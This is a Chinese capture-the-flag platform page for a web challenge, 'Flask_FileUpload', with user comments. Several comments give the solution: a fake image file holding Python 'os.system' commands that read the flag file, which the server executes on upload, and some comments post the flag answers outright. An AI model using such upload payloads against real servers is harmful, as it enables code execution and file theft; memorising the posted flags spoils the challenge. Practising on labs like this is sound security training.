Flask_FileUploadWEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Lazzaro
一血奖励: 3金币
解  决: 12649
提  示:
描  述:
Flask_FileUpload
评论
zhb8014 2年前

flag{4b5d037a2b7ad4c8c09c440b3f0e9bf1}

回复 1

Cranestand 2年前

建一个文本文档,里面写: import os //回车 os.system('cat /flag'),然后文件后缀改成.png或.jpg后上传

回复 1
sent 2年前

@15277305951 开f12,回显在注释里面

回复 0

15277305951 2年前

file uploaded successfully! 我上传得到这个

回复 1

旋转的牛蛙 2年前

注意换行

回复 0

storn 2年前

类似于文件包含,文件中的内容只要符合python语法,就可以执行。 建一个文本文档,里面写 import os os.system("cat /flag") 然后将文件后缀改为png,上传。 再然后去看源代码,里面有flag

回复 0

xuexixiaohao 2年前

import os os.system('cat /flag')

回复 0

khalil 2年前

flag{031da75ae4719a4e3cf3f6652dbc04ad}

回复 0

107zsm 3年前

import os os.system('ls ../') os.system('cat ../flag') 文件上传后,获取flag

回复 2

baianquanzu 3年前

查看网站源码,提示我们的图片会被python执行返回 其实这一题是利用flask搭建的网站,图片中包含python的查询语句会被执行

回复 0

baianquanzu 3年前

import os os.system('cat /flag')

回复 0

蜡笔小赵 3年前

flag{9d7c25aa041135481307e03e9fb4464a}

回复 0

WriteUp

image
国家级划水运动员

3 金币

评分(20)

解题动态

cha8e1 攻破了该题 3小时前
yehlg 攻破了该题 1天前
yu'c 攻破了该题 1天前
avaclaire 攻破了该题 1天前
Kernel1 攻破了该题 1天前
脚本gay 攻破了该题 2天前
YS_JW 攻破了该题 2天前
池屿 攻破了该题 3天前
wujita01 攻破了该题 3天前
hsk_zy 攻破了该题 4天前
zhuguangsen 攻破了该题 4天前
Hackerchen 攻破了该题 4天前
mmhhdm 攻破了该题 4天前
yangyy 攻破了该题 4天前
simple9527 攻破了该题 4天前
bugfuck2 攻破了该题 4天前
Motona_Sky 攻破了该题 6天前
kitniu 攻破了该题 8天前
nanaqilin 攻破了该题 11天前
锅碗瓢盆 攻破了该题 12天前
问题反馈